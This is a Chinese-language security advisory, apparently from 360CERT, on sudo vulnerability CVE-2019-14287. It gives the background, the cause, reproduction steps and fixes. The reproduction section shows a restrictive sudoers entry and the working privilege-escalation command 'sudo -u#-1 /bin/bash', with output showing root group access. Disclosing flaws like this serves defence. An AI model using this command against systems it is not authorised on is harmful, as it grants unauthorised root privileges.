漏洞背景
2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。
sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。
CVE-2019-14287 是管理员在配置文件中用了 ALL 关键词后造成的。但默认的 sudo 配置文件不受影响。
360CERT判断漏洞等级为低危,影响面有限。
漏洞原因
调用将用户ID转换为用户名的函数将-1或其无符号等效4294967295误认为是0,该值始终是root用户的用户ID 。
漏洞复现
切换到root权限,修改/etc/sudoers文件
编辑非root帐号testsudovln,修改成类似以下配置
testsudovln ALL=(ALL, !root) /bin/bash
表示 testsudovln 不具备执行/bin/bash的sudo权限,保存后退出,以testsudovln帐号登录
执行sudo /bin/bash
Sorry, user testsudovln is not allowed to execute ‘/bin/bash’ as root on localhost.localdomain.
提示没有执行权限
当执行sudo -u#-1 /bin/bash或 sudo -u#4294967295 /bin/bash后
bash-4.1$ id
uid=2147483647 gid=0(root) groups=0(root)
漏洞利用成功,已经提权为root权限
由于这个漏洞一般是管理员配置不当引起, 影响面有限, 360CERT判断漏洞等级为低危。
修复建议
- 及时升级到 sudo 1.8.28 版本。
- 检索/etc/sudoers 是否存在 ALL 关键词的复合限制逻辑